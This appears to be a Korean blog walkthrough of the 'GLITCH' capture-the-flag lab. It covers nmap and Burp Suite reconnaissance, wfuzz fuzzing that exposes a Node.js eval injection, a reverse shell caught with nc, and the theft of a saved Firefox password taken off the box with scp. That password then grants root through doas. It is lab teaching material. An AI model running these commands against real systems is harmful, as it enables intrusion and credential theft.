본문 바로가기

보안지식/pentest

pentest 실습 (GLITCH)

이번에는 글리치라는 방을 털어보겠습니다.

 

뭔가 컴퓨터 쪽인 사람들은 노이즈 화면을 너무 좋아하는 것 같아요

 

join the room 하시고 openvpn 하시고 start machine 하시고 IP 얻은 다음 시작하겠습니다.

.

.

.

사전에 말씀드리자면 이번에는 버프 스위트을 사용할 예정입니다.

 

네 저요

 

미리 다운 받으시고 있으신 분은 켜 두시면 됩니다.

 

 

시작하죠

 

1.정보 수집

 

늘 그랬다시피 nmap으로 어느 문이 열려있나 확인해 보겠습니다.

 

nmap -sV [ip주소] > scan_res

 

좋아요

 

원래는 포트번호가 열려 있는 게 많을수록 좋아요. 왜냐하면 그만큼 위약점이 많을 수 있으니 깐요

 

일단 80번 포트 그러니깐 웹 사이트이니 들어가 보겠습니다.

 

?..??

 

뭘까요.. 일단 아무것도 없어 보이긴 하는데.. 한 번 버프 스위트로 봐보겠습니다.

 

 

2.서비스 분석

 

서비스나 정보 분석이나 저는 솔직히 경계가 애매하다고 생각을 해요.

 

어쨌든 버프 스위트로 들어가 보겠습니다. 웹 프록시 툴이라 데이터를 훨씬 보기 편합니다.

 

원래는 root인 상태로 크롬을 못 키게 되어있어요

웹 사이트에 함부로 root인 상태로 작업을 하다가 해킹을 당하기 쉬우니깐요.

방법은 있습니다. -no-sanbox 하면 보안 기능을 꺼서 실행이 가능은 한데 아무래도 보안이 없는 상태로 하기엔 불안하죠?

 

그러니 이번에는 root 말고 일반 사용자로 하셔도 되고요 아니면 firefox을 계속 이용하시면 됩니다. 버프 스위트 같은 경우

크롬이 기본이라 지금 저는 일반 사용자로 옮기기엔 너무 귀찮아서 잠시 sandbox의 기능을 끄고 나중에 다시 키겠습니다.

 

 

하단에 Run Burp.... without a sandbox 체크 하시면 됩니다.

 

 

 

이렇게요

 

그럼 되실 거예요!

.

.

.

.

.

이제 openbrowser하시고 ip로 들어가 보겠습니다.

 

좋아요

 

흐음..

 

favicon.ico는 상관없으니 맨 위에 걸 보니

 

 

스크립트가 있네요?

 

fuction getAccess()이 있네요!

 

만들어져 있는데 실행은 안 되어 있네요.

 

한 번 저희가 직접 해보겠습니다.

 

크롬에 F12 하셔서 콘솔을 열어보겠습니다.

그리고 정의되어 있는 함수 getAccess() 호출해 볼게요

 

 

아하..

 

토큰이 날아오네요. 자세히 보니 맨 마지막에 = 이 있네요!

암호문인데 맨 끝에 = 인 함호는 정해져 있습니다. base64라는 암호입니다.

 

한 번 풀어보겠습니다. 구글에 base64 디코딩을 치시면 나옵니다. 또는 버프스위트에 이용 가능해요!

 

decode as 에 base64 하시면 나옵니다

 

this_is_not_real

 

이게 토큰 값이네요.

 

다시 버프스위트 볼게요

f5 눌러서 새로고침을 해서 봐보니

 

 

쿠키에 token value이 있네요

 

저기다가 입력을 하면 되겠네요.

 

다시 F5 하기 전에 intercept on을 켜고 토큰값을 넣겠습니다.

 

 

이러고 forward!

 

섬뜩하네요

 

어떻게 완벽하게 사라지고 다시 찾을 수 없니라고 해석이 되네요.

너에 대한 거야, 나는 돌아갈 수 없어

 

뭔 일 있었는지 모르겠지만 일단 해킹 계속하죠.

 

버프스위트를 봐보겠습니다.

무슨 데이터가 오가는지..

 

 

새로운 프로세스입니다.

 

api인데 뭘 보내는지 모르겠고요 그저 error만 나오네요

API는 보통 다른 프로그램과 데이터를 주고받을 때 쓰입니다.

예시로 카카오 맵 같은 걸 제 서버에 연결하고 싶을 때 그때 카카오맵의 API을 받아와서 쓰는 겁니다.

 

 

아마.. 여기 api가 그런 용도라 생각을 하면 데이터를 여기로 뭘 보내고 있다고 유추가 가능합니다.

일단 이 Request을 Repeater로 보내겠습니다. ctrl+r 누르시면 자동으로 보내져요

 

 

 

지금 GET 방식이니깐 한 번 POST 방식으로 보내보겠습니다.

 

우클릭 누르시고 change request method 누르시면 돼요

 

 

또 뭔가 있네요

 

일단 저희는 POST로 접근이 가능하다고 알 수 있습니다.

 

그러면 저희는 이제 Fuzzing이라는 명령어를 이용할게요. 어느 파라미터를 보내야만 반응을 하는지 확인을 하는 겁니다.

그냥 있는 단어 다 때려 넣어서 반응할 때까지 하는 겁니다.

 

터미널에 wfuzz 명령어를 사용하겠습니다.

 

wfuzz -z file,/usr/share/wordlists/wfuzz/general/common.txt -X POST --hc 400 -u http://10.10.43.69/api/items?FUZZ=test

 

-z는 어느 파일을 참고하는지 옵션이고요. -x는 어느 메서드를 이용하는지 -u는 링크

?FUZZ 는 FUZZ에 단어 넣을 곳입니다. 게다가 --hc는 응답 코드가 400 인 것은 무시한다는 이야기입니다.

 

실행해 볼게요

 

 

cmd?

 

한 번 cmd 보내 보겠습니다.

 

오..

 

400 에러는 아니지만 뭔가 다른 에러가 나왔네요.

 

에러 코드 같네요. 저 에러코드를 구글에 검색해 보겠습니다.

 

 

음..

 

보니 자바스크립트 관련인데 Node.js로 만들어서 생긴 에러코드인 것 같네요

 

그리고 응답 메시지 다시 보시면 eval이라는 함수가 보이실 거예요

 

 

eval 보이시죠

 

저게 시스템에 매우 중요한 함수이라고 합니다.

 

eval 이 안에 있는 코드들을 명령어를 실행시켜주는 함수입니다.

 

그러니깐 test라는 코드가 없다는 에러 메시지가 저거라는 이야기입니다.

그럼 한 번 Node.js 문법에 맞춰서 리버스 쉘을 넣으면 되겠네요. 그러면 eval이 실행시켜 줄 테니깐요!

 

 

 

3. Exploit

 

https://www.revshells.com/

 

Online - Reverse Shell Generator

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

www.revshells.com

 

여기에 다양한 리버스 쉘 명령어가 있습니다. 좋은 사이트이니 기억해 두는 게 좋아요.

 

들어가서 Node.js에 맞는 리버스 쉘을 찾아볼게요.

아이피랑 포트는 알아서 잘 맞춰 주시고요! 저는 포트 9999 했습니다.

 

 

ip는 자신 vpn된 ip 주소을 작성하셔야되요!

 

 

URL통해 보내는 거니 URL Encode을 꼭 하셔야 돼요

 

밑에 Copy 눌러서 복사하시고 보내기 전에 nc로 제 컴퓨터 9999 포트 열어두겠습니다.

 

입을 벌려서 먹이 기다리는 거죠

 

그리고 버프 스위트로 보내보겠습니다.

 

 

send!

 

성공!

 

python -c "import pty;pty.spawn('/bin/bash')"

 

입력해서 고급진 쉘로 바꾸겠습니다.

 

 

 

 

좋아요 이제 본격적으로 관리자권한까지 올라가 보겠습니다.

 

 

 

4.Post-Exploit

 

루트 권한을 획득할 때 저희는 setuid을 자주 이용했었죠? 이번에도 이용하겠습니다.

 

find / -type f -perm -04000 -ls 2> /dev/null

 

setuid 설정된 파일을 찾아 주는 명령어입니다.

 

 

많네요

 

윗부분은 일반적인 setuid인데 밑에 보니

 

 

doas가 있네요

doas랑 sudo랑 차이점이 거의 없습니다 sudo ls 하면 루트 권한으로 ls 명령어 실행해 줘 뜻이잖아요?

doas도 같습니다 doas ls 하면 루트 권한으로 실행시켜줘!라는 뜻입니다.

 

이게 setuid로 설정되어 있다니 어이가 없지만 저희한텐 좋은 거죠

 

그럼 doas /bin/bash 하면 바로 root의 쉘을 받아 올 수 있겠네요?

해보겠습니다. 

 

 

안 되네요

왜 안되느냐 이 계정에는 doas 사용이 불가하는 경우 저렇게 나옵니다.

그럼 어느 계정이 doas 사용이 가능한지 찾으면 되겠네요

 

find / -name "doas.conf" 2> /dev/null

 

doas 명령어의 설정 파일을 찾는 명령어입니다.

 

 

여깄네요

 

한 번 봐볼게요

 

아하..

v0id라는 계정에는 허락이 되네요.

그럼 v0id 계정을 탈취해보겠습니다.

 

저희는 지금까지 얻은 정보로는 v0id와 관련된 정보는 아무것도 없죠..

그럼 v0id와 관련된 정보를 찾아보겠습니다.

 

cd ~ 해서 홈 디렉터리고 간 다음 ls -al 해서 어느 파일 있는지 확인해 보겠습니다.

 

 

firefox을 봐볼게요.

 

 

아하

 

이 컴퓨터에 사용자의 firefox 정보가 있네요.

 

그럼 일단 이 디렉터리를 가져와 보겠습니다.

압축을 해주겠습니다.

 

tar -cvf firefox.tgz .firefox

 

압축 성공

 

scp 이용해 제 ip로 보내게 하겠습니다.

 

scp firefox.tgz [계정이름]@[자신IP]:/home/[계정이름]

 

자신이 root 말고 사용하시고 계신 계정 있으시죠? 그걸 작성하시면 돼요.

만약 계정을 건든 게 없으시다면 kali 계정이 있으실 거예요. kali의 비번은 kali 입니다.

 

 

 

 

yes 입력하시고 비번 입력하시면 보내집니다.

 

그리고 난 뒤에 /home/[계졍이름] 에 잘 전송 됐나 확인하시고 저는 root의 홈에 옮기겠습니다.

 

mv ~/user/firefox.tgz ~

 

 

 

그리고 압축 풀겠습니다.

 

tar xvf firefox.tgz

 

여깄네요

피해자 컴퓨터에서 실행된 웹 브라우저 환경을 그대로 가져온 겁니다.

 

그다음으로 firefox --profile .firefox/b5w4643p.default-release --allow-downgrade

 

b5w4643p.default-release은 안에 피해자가 쓰던 환경 설정 파일입니다.

--allow-downgrade는 버전이 낮으면 낮게 쓰라는 명령어입니다.

 

 

명령어 실행하면 피해자가 쓰던 웹 브라우저를 실행하게 됩니다. 

 

 

 

여기서 저희가 관심 있는 것은 password 탭입니다.

 

오른쪽 위에 목록 누르시고 password 메뉴 탭을 누르면 패스워드 탭 클릭하시면 비밀번호가 보일 겁니다.

 

 

아하..

 

다행히 v0id 이라는 사람이 귀찮게 안 하려고 패스워드를 저장해 놨네요

 

password 옆에 눈 표시 눌러서 봐보겠습니다.

 

love_the_void

 

좋아요. 이제 크리덴셜 스터핑을 생각하면 됩니다.

 

간단히 말씀드리자면 저희는 모든 사이트 모든 프로그램에 각각 다른 패스워드를 쓰나요..? 끽해봤자 2-3개 이겠죠.

높은 확률로 하나의 패스워드로 전부 이용할 수 있습니다.

 

그러니 저 비밀번호 가지고 한 번 계정으로 접속해 보겠습니다.

 

리버스 쉘로 접속한 터미널로 돌아와서 su v0id 접속해 보겠습니다.

 

 

쨘!

 

이제 doas /bin/bash 입력하면 끝이네요!

 

 

마지막 패스워드는 저희가 sudo -i 하면 그 계정의 비밀번호 입력을 해서 전환하는 거랑 같습니다.

v0id 비밀번호 입력하시면 돼요.

 

어쨌든 성공!

 

참고로 root/root.txt에 답이 task 4의 답이 있고요 task 3은 home/user/user.txt에 있습니다.

 

task 2는 token 값이라는데 다들 아시죠?

 

 

긴 글 읽어주셔서 감사합니다!

'보안지식 > pentest' 카테고리의 다른 글

Pentest 툴 정리  (1) 2023.08.28
pentest 실습 (Basic Pentesting)  (0) 2023.06.23
pentest 실습 (Rootme)  (0) 2023.06.22
pentest 실습 (LazyAdmin) - Post Exploit  (0) 2023.06.21
pentest 실습 (LazyAdmin) - Exploit 까지  (0) 2023.06.20